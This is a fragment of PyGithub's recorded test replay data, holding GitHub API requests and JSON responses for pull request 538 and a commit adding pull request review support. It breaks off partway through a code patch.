charset=utf-8')]\n+{\"clone_url\":\"https://github.com/jacquev6/PyGithub.git\",\"has_downloads\":true,\"watchers\":15,\"updated_at\":\"2012-05-27T07:29:24Z\",\"permissions\":{\"pull\":true,\"admin\":true,\"push\":true},\"homepage\":\"http://vincent-jacques.net/PyGithub\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub\",\"mirror_url\":null,\"has_wiki\":false,\"has_issues\":true,\"fork\":false,\"forks\":3,\"git_url\":\"git://github.com/jacquev6/PyGithub.git\",\"size\":308,\"private\":false,\"open_issues\":16,\"svn_url\":\"https://github.com/jacquev6/PyGithub\",\"owner\":{\"url\":\"https://api.github.com/users/jacquev6\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"id\":327146},\"name\":\"PyGithub\",\"language\":\"Python\",\"description\":\"Python library implementing the full Github API v3\",\"ssh_url\":\"git@github.com:jacquev6/PyGithub.git\",\"pushed_at\":\"2012-05-27T07:29:24Z\",\"created_at\":\"2012-02-25T12:53:47Z\",\"id\":3544490,\"html_url\":\"https://github.com/jacquev6/PyGithub\",\"full_name\":\"jacquev6/PyGithub\"}\n \n-GET /repos/jacquev6/PyGithub/issues/events/15819975 {'Authorization': 'Basic login_and_password_removed'} null\n+GET /repos/jacquev6/PyGithub/issues/events/16348656 {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed'} null\n 200\n-[('status', '200 OK'), ('x-ratelimit-remaining', '4905'), ('content-length', '2430'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"a3d244842d23f92f69a23e21626fad11\"'), ('date', 'Sun, 27 May 2012 07:19:31 GMT'), ('content-type', 'application/json; charset=utf-8')]\n-{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/issues/events/15819975\",\"issue\":{\"updated_at\":\"2012-05-26T14:59:33Z\",\"body\":\"Body edited by PyGithub\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/issues/28\",\"comments\":0,\"milestone\":{\"creator\":{\"url\":\"https://api.github.com/users/jacquev6\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"id\":327146},\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/milestones/1\",\"number\":1,\"title\":\"Version 0.4\",\"due_on\":\"2012-03-13T07:00:00Z\",\"closed_issues\":3,\"open_issues\":0,\"created_at\":\"2012-03-08T12:22:10Z\",\"state\":\"closed\",\"description\":\"\",\"id\":93546},\"number\":28,\"assignee\":{\"url\":\"https://api.github.com/users/jacquev6\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"id\":327146},\"closed_at\":\"2012-05-26T14:59:33Z\",\"title\":\"Issue created by PyGithub\",\"labels\":[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}],\"created_at\":\"2012-05-19T10:38:23Z\",\"state\":\"closed\",\"user\":{\"url\":\"https://api.github.com/users/jacquev6\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"id\":327146},\"id\":4653757,\"pull_request\":{\"diff_url\":null,\"patch_url\":null,\"html_url\":null},\"html_url\":\"https://github.com/jacquev6/PyGithub/issues/28\"},\"commit_id\":null,\"created_at\":\"2012-05-19T10:38:23Z\",\"event\":\"subscribed\",\"id\":15819975,\"actor\":{\"url\":\"https://api.github.com/users/jacquev6\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"id\":327146}}\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '1384'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"fefecab09e7355d4ef9875677c2631da\"'), ('date', 'Sun, 27 May 2012 07:32:56 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/issues/events/16348656\",\"issue\":{\"updated_at\":\"2012-05-27T07:27:51Z\",\"body\":\"Body created by PyGithub\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/issues/30\",\"comments\":0,\"milestone\":null,\"number\":30,\"assignee\":null,\"closed_at\":null,\"title\":\"Issue also created by PyGithub\",\"labels\":[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}],\"created_at\":\"2012-05-27T05:40:15Z\",\"state\":\"open\",\"user\":{\"url\":\"https://api.github.com/users/jacquev6\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"id\":327146,\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\"},\"id\":4769659,\"pull_request\":{\"patch_url\":null,\"diff_url\":null,\"html_url\":null},\"html_url\":\"https://github.com/jacquev6/PyGithub/issues/30\"},\"commit_id\":\"ed866fc43833802ab553e5ff8581c81bb00dd433\",\"created_at\":\"2012-05-27T07:29:25Z\",\"event\":\"referenced\",\"id\":16348656,\"actor\":{\"url\":\"https://api.github.com/users/jacquev6\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"id\":327146,\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\"}}\n ","additions":7,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequestReview.setUp.txt0000644000175100001660000012202514756101563023467 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/pulls/538 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '16870'), ('x-runtime-rack', '0.166874'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user, write:discussion'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"180a414bcab1173c542017fc5a03d2d6"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4551'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'DDDA:9B6E:FB5A9F:127A623:5AB118CF'), ('last-modified', 'Tue, 20 Mar 2018 14:15:45 GMT'), ('date', 'Tue, 20 Mar 2018 14:21:04 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1521556163')] {"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/538","id":111649703,"html_url":"https://github.com/PyGithub/PyGithub/pull/538","diff_url":"https://github.com/PyGithub/PyGithub/pull/538.diff","patch_url":"https://github.com/PyGithub/PyGithub/pull/538.patch","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/538","number":538,"state":"closed","locked":false,"title":"Add Support for Pull Request Reviews feature","user":{"login":"allevin","id":13543471,"avatar_url":"https://avatars2.githubusercontent.com/u/13543471?v=4","gravatar_id":"","url":"https://api.github.com/users/allevin","html_url":"https://github.com/allevin","followers_url":"https://api.github.com/users/allevin/followers","following_url":"https://api.github.com/users/allevin/following{/other_user}","gists_url":"https://api.github.com/users/allevin/gists{/gist_id}","starred_url":"https://api.github.com/users/allevin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/allevin/subscriptions","organizations_url":"https://api.github.com/users/allevin/orgs","repos_url":"https://api.github.com/users/allevin/repos","events_url":"https://api.github.com/users/allevin/events{/privacy}","received_events_url":"https://api.github.com/users/allevin/received_events","type":"User","site_admin":false},"body":"Adding support to Pull Request class to access new Github API features [Pull Request reviews](https://developer.github.com/v3/pulls/reviews/) and [Pull Request Reviewer Requests](https://developer.github.com/v3/pulls/review_requests/)\r\n\r\nThe API's is still in beta. \r\n\r\nI approached this by providing a minimal set of routines to access the list of reviews or a specific review. Also access to get a list of Reviewer requests. \r\n\r\nBecause the API is still early in Beta, I choose not to implement the create/delete/edit features, but the infrastructure should be in place for future improvements.\r\n\r\n","created_at":"2017-03-20T21:00:37Z","updated_at":"2018-03-20T14:15:45Z","closed_at":"2017-03-25T16:52:49Z","merged_at":"2017-03-25T16:52:49Z","merge_commit_sha":"2525515b094d7425f7018eb5b66171e21c5fbc10","assignee":null,"assignees":[],"requested_reviewers":[{"login":"jayfk","id":2930472,"avatar_url":"https://avatars2.githubusercontent.com/u/2930472?v=4","gravatar_id":"","url":"https://api.github.com/users/jayfk","html_url":"https://github.com/jayfk","followers_url":"https://api.github.com/users/jayfk/followers","following_url":"https://api.github.com/users/jayfk/following{/other_user}","gists_url":"https://api.github.com/users/jayfk/gists{/gist_id}","starred_url":"https://api.github.com/users/jayfk/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jayfk/subscriptions","organizations_url":"https://api.github.com/users/jayfk/orgs","repos_url":"https://api.github.com/users/jayfk/repos","events_url":"https://api.github.com/users/jayfk/events{/privacy}","received_events_url":"https://api.github.com/users/jayfk/received_events","type":"User","site_admin":false}],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/538/commits","review_comments_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/538/comments","review_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments{/number}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/538/comments","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/b6b127d732586df5dcf0444df73621f240ca4bb2","head":{"label":"allevin:Add_Pull_Request_Reviews_Feature","ref":"Add_Pull_Request_Reviews_Feature","sha":"b6b127d732586df5dcf0444df73621f240ca4bb2","user":{"login":"allevin","id":13543471,"avatar_url":"https://avatars2.githubusercontent.com/u/13543471?v=4","gravatar_id":"","url":"https://api.github.com/users/allevin","html_url":"https://github.com/allevin","followers_url":"https://api.github.com/users/allevin/followers","following_url":"https://api.github.com/users/allevin/following{/other_user}","gists_url":"https://api.github.com/users/allevin/gists{/gist_id}","starred_url":"https://api.github.com/users/allevin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/allevin/subscriptions","organizations_url":"https://api.github.com/users/allevin/orgs","repos_url":"https://api.github.com/users/allevin/repos","events_url":"https://api.github.com/users/allevin/events{/privacy}","received_events_url":"https://api.github.com/users/allevin/received_events","type":"User","site_admin":false},"repo":{"id":85619926,"name":"PyGithub","full_name":"allevin/PyGithub","owner":{"login":"allevin","id":13543471,"avatar_url":"https://avatars2.githubusercontent.com/u/13543471?v=4","gravatar_id":"","url":"https://api.github.com/users/allevin","html_url":"https://github.com/allevin","followers_url":"https://api.github.com/users/allevin/followers","following_url":"https://api.github.com/users/allevin/following{/other_user}","gists_url":"https://api.github.com/users/allevin/gists{/gist_id}","starred_url":"https://api.github.com/users/allevin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/allevin/subscriptions","organizations_url":"https://api.github.com/users/allevin/orgs","repos_url":"https://api.github.com/users/allevin/repos","events_url":"https://api.github.com/users/allevin/events{/privacy}","received_events_url":"https://api.github.com/users/allevin/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/allevin/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/allevin/PyGithub","forks_url":"https://api.github.com/repos/allevin/PyGithub/forks","keys_url":"https://api.github.com/repos/allevin/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/allevin/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/allevin/PyGithub/teams","hooks_url":"https://api.github.com/repos/allevin/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/allevin/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/allevin/PyGithub/events","assignees_url":"https://api.github.com/repos/allevin/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/allevin/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/allevin/PyGithub/tags","blobs_url":"https://api.github.com/repos/allevin/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/allevin/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/allevin/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/allevin/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/allevin/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/allevin/PyGithub/languages","stargazers_url":"https://api.github.com/repos/allevin/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/allevin/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/allevin/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/allevin/PyGithub/subscription","commits_url":"https://api.github.com/repos/allevin/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/allevin/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/allevin/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/allevin/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/allevin/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/allevin/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/allevin/PyGithub/merges","archive_url":"https://api.github.com/repos/allevin/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/allevin/PyGithub/downloads","issues_url":"https://api.github.com/repos/allevin/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/allevin/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/allevin/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/allevin/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/allevin/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/allevin/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/allevin/PyGithub/deployments","created_at":"2017-03-20T19:55:57Z","updated_at":"2017-03-20T19:56:01Z","pushed_at":"2017-03-24T20:45:25Z","git_url":"git://github.com/allevin/PyGithub.git","ssh_url":"git@github.com:allevin/PyGithub.git","clone_url":"https://github.com/allevin/PyGithub.git","svn_url":"https://github.com/allevin/PyGithub","homepage":"","size":12144,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":1,"license":null,"forks":0,"open_issues":1,"watchers":0,"default_branch":"master"}},"base":{"label":"PyGithub:master","ref":"master","sha":"414f6e648f4da87f10bae7d01948a63dc82b80f8","user":{"login":"PyGithub","id":11288996,"avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"repo":{"id":3544490,"name":"PyGithub","full_name":"PyGithub/PyGithub","owner":{"login":"PyGithub","id":11288996,"avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2018-03-20T12:27:47Z","pushed_at":"2018-03-20T12:27:44Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"http://pygithub.readthedocs.io/","size":10905,"stargazers_count":1719,"watchers_count":1719,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":590,"mirror_url":null,"archived":false,"open_issues_count":188,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0"},"forks":590,"open_issues":188,"watchers":1719,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/538"},"html":{"href":"https://github.com/PyGithub/PyGithub/pull/538"},"issue":{"href":"https://api.github.com/repos/PyGithub/PyGithub/issues/538"},"comments":{"href":"https://api.github.com/repos/PyGithub/PyGithub/issues/538/comments"},"review_comments":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/538/comments"},"review_comment":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/538/commits"},"statuses":{"href":"https://api.github.com/repos/PyGithub/PyGithub/statuses/b6b127d732586df5dcf0444df73621f240ca4bb2"}},"author_association":"CONTRIBUTOR","merged":true,"mergeable":null,"rebaseable":null,"mergeable_state":"unknown","merged_by":{"login":"jzelinskie","id":343539,"avatar_url":"https://avatars3.githubusercontent.com/u/343539?v=4","gravatar_id":"","url":"https://api.github.com/users/jzelinskie","html_url":"https://github.com/jzelinskie","followers_url":"https://api.github.com/users/jzelinskie/followers","following_url":"https://api.github.com/users/jzelinskie/following{/other_user}","gists_url":"https://api.github.com/users/jzelinskie/gists{/gist_id}","starred_url":"https://api.github.com/users/jzelinskie/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jzelinskie/subscriptions","organizations_url":"https://api.github.com/users/jzelinskie/orgs","repos_url":"https://api.github.com/users/jzelinskie/repos","events_url":"https://api.github.com/users/jzelinskie/events{/privacy}","received_events_url":"https://api.github.com/users/jzelinskie/received_events","type":"User","site_admin":false},"comments":6,"review_comments":0,"maintainer_can_modify":false,"commits":4,"additions":372,"deletions":0,"changed_files":8} https GET api.github.com None /repos/PyGithub/PyGithub/commits/2f0e4e55fe87e38d26efc9aa1346f56abfbd6c52 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '15949'), ('x-runtime-rack', '0.069736'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user, write:discussion'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"061259c90f2c55f8497d7de36f6a1ba9"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4549'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'DDDB:9B6E:FB5B95:127A740:5AB118D1'), ('last-modified', 'Mon, 20 Mar 2017 20:44:26 GMT'), ('date', 'Tue, 20 Mar 2018 14:21:05 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1521556163')] {"sha":"2f0e4e55fe87e38d26efc9aa1346f56abfbd6c52","commit":{"author":{"name":"Aaron Levine","email":"allevin@sandia.gov","date":"2017-03-20T20:44:26Z"},"committer":{"name":"Aaron Levine","email":"allevin@sandia.gov","date":"2017-03-20T20:44:26Z"},"message":"Add Support for Pull Request Reviews feature","tree":{"sha":"d6bdfe97f73bc45f7a9bc3606f62a6f7122669c9","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/d6bdfe97f73bc45f7a9bc3606f62a6f7122669c9"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/2f0e4e55fe87e38d26efc9aa1346f56abfbd6c52","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/2f0e4e55fe87e38d26efc9aa1346f56abfbd6c52","html_url":"https://github.com/PyGithub/PyGithub/commit/2f0e4e55fe87e38d26efc9aa1346f56abfbd6c52","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/2f0e4e55fe87e38d26efc9aa1346f56abfbd6c52/comments","author":{"login":"allevin","id":13543471,"avatar_url":"https://avatars2.githubusercontent.com/u/13543471?v=4","gravatar_id":"","url":"https://api.github.com/users/allevin","html_url":"https://github.com/allevin","followers_url":"https://api.github.com/users/allevin/followers","following_url":"https://api.github.com/users/allevin/following{/other_user}","gists_url":"https://api.github.com/users/allevin/gists{/gist_id}","starred_url":"https://api.github.com/users/allevin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/allevin/subscriptions","organizations_url":"https://api.github.com/users/allevin/orgs","repos_url":"https://api.github.com/users/allevin/repos","events_url":"https://api.github.com/users/allevin/events{/privacy}","received_events_url":"https://api.github.com/users/allevin/received_events","type":"User","site_admin":false},"committer":{"login":"allevin","id":13543471,"avatar_url":"https://avatars2.githubusercontent.com/u/13543471?v=4","gravatar_id":"","url":"https://api.github.com/users/allevin","html_url":"https://github.com/allevin","followers_url":"https://api.github.com/users/allevin/followers","following_url":"https://api.github.com/users/allevin/following{/other_user}","gists_url":"https://api.github.com/users/allevin/gists{/gist_id}","starred_url":"https://api.github.com/users/allevin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/allevin/subscriptions","organizations_url":"https://api.github.com/users/allevin/orgs","repos_url":"https://api.github.com/users/allevin/repos","events_url":"https://api.github.com/users/allevin/events{/privacy}","received_events_url":"https://api.github.com/users/allevin/received_events","type":"User","site_admin":false},"parents":[{"sha":"414f6e648f4da87f10bae7d01948a63dc82b80f8","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/414f6e648f4da87f10bae7d01948a63dc82b80f8","html_url":"https://github.com/PyGithub/PyGithub/commit/414f6e648f4da87f10bae7d01948a63dc82b80f8"}],"stats":{"total":231,"additions":231,"deletions":0},"files":[{"sha":"e051573885e484959370e8ac8a122a568d0c4439","filename":"github/PullRequest.py","status":"modified","additions":42,"deletions":0,"changes":42,"blob_url":"https://github.com/PyGithub/PyGithub/blob/2f0e4e55fe87e38d26efc9aa1346f56abfbd6c52/github/PullRequest.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/2f0e4e55fe87e38d26efc9aa1346f56abfbd6c52/github/PullRequest.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github/PullRequest.py?ref=2f0e4e55fe87e38d26efc9aa1346f56abfbd6c52","patch":"@@ -37,6 +37,8 @@\n import github.File\n import github.IssueComment\n import github.Commit\n+import github.PullRequestReview\n+import github.PullRequestReviewerRequests\n \n \n class PullRequest(github.GithubObject.CompletableGithubObject):\n@@ -495,6 +497,46 @@ def get_issue_comments(self):\n None\n )\n \n+ def get_review(self, id):\n+ \"\"\"\n+ :calls: `GET /repos/:owner/:repo/pulls/:number/reviews/:id `_\n+ :param id: integer\n+ :rtype: :class:`github.PullRequestReview.PullRequestReview`\n+ \"\"\"\n+ assert isinstance(id, (int, long)), id\n+ headers, data = self._requester.requestJsonAndCheck(\n+ \"GET\",\n+ self.url + \"/reviews/\" + str(id),\n+ headers={'Accept': 'application/vnd.github.black-cat-preview+json'}\n+ )\n+ return github.PullRequestReview.PullRequestReview(self._requester, headers, data, completed=True)\n+\n+ def get_reviews(self):\n+ \"\"\"\n+ :calls: `GET /repos/:owner/:repo/pulls/:number/reviews `_\n+ :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.PullRequestReview.PullRequestReview`\n+ \"\"\"\n+ return github.PaginatedList.PaginatedList(\n+ github.PullRequestReview.PullRequestReview,\n+ self._requester,\n+ self.url + 